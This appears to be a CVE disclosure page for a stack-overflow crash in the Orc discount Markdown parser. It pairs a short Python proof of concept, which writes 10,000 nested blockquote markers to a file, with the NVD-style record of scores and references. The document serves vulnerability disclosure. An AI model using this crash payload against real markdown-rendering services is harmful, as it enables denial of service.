CVE-2026-4833

import sys # PoC Generator for CVE-2026-4833 # Generates a deeply nested markdown file to trigger uncontrolled recursion def generate_exploit(depth=10000, output_file="exploit.md"): """ Creates a markdown file with deeply nested blockquotes. Discount's compile() function recurses on each level, leading to a stack overflow (crash). """ try: # Constructing the nested blockquote string # Markdown blockquotes are often represented by '>' characters payload = ">" * depth + " Crash Test" with open(output_file, "w", encoding="utf-8") as f: f.write(payload) print(f"[+] Exploit file generated: {output_file}") print(f"[+] Depth: {depth}") print("[*] Feed this file to the vulnerable Orc discount parser to trigger the crash.") except Exception as e: print(f"[-] Error generating file: {e}") if __name__ == "__main__": # Depth of 10000 should be sufficient to exhaust default stack limits generate_exploit(depth=10000)

{"cve": {"id": "CVE-2026-4833", "sourceIdentifier": "[email protected]", "published": "2026-03-26T02:16:08.323", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Orc discount up to 3.0.1.2. This issue affects the function compile of the file markdown.c of the component Markdown Handler. This manipulation causes uncontrolled recursion. The attack is restricted to local execution. The exploit has been made available to the public and could be used for attacks. The project maintainer confirms: \"[I]f you feed it an infinitely deep blockquote input it will crash. (...) [T]his is a duplicate of an old bug that I've been working on.\""}, {"lang": "es", "value": "Se ha identificado una debilidad en Orc discount hasta 3.0.1.2. Este problema afecta a la función compile del archivo markdown.c del componente Markdown Gestor. Esta manipulación causa recursión incontrolada. El ataque está restringido a ejecución local. El exploit ha sido puesto a disposición del público y podría ser utilizado para ataques. El mantenedor del proyecto confirma: 'si le proporcionas una entrada de blockquote infinitamente profunda, se bloqueará. (...) esto es un duplicado de un error antiguo en el que he estado trabajando.'"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-404"}, {"lang": "en", "value": "CWE-674"}]}], "references": [{"url": "https://github.com/Orc/discount/", "source": "[email protected]"}, {"url": "https://github.com/Orc/discount/issues/305", "source": "[email protected]"}, {"url": "https://github.com/Orc/discount/issues/305#issuecomment-4027546673", "source": "[email protected]"}, {"url": "https://github.com/user-attachments/files/25847391/crash00.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.353138", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.353138", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775841", "source": "[email protected]"}]}}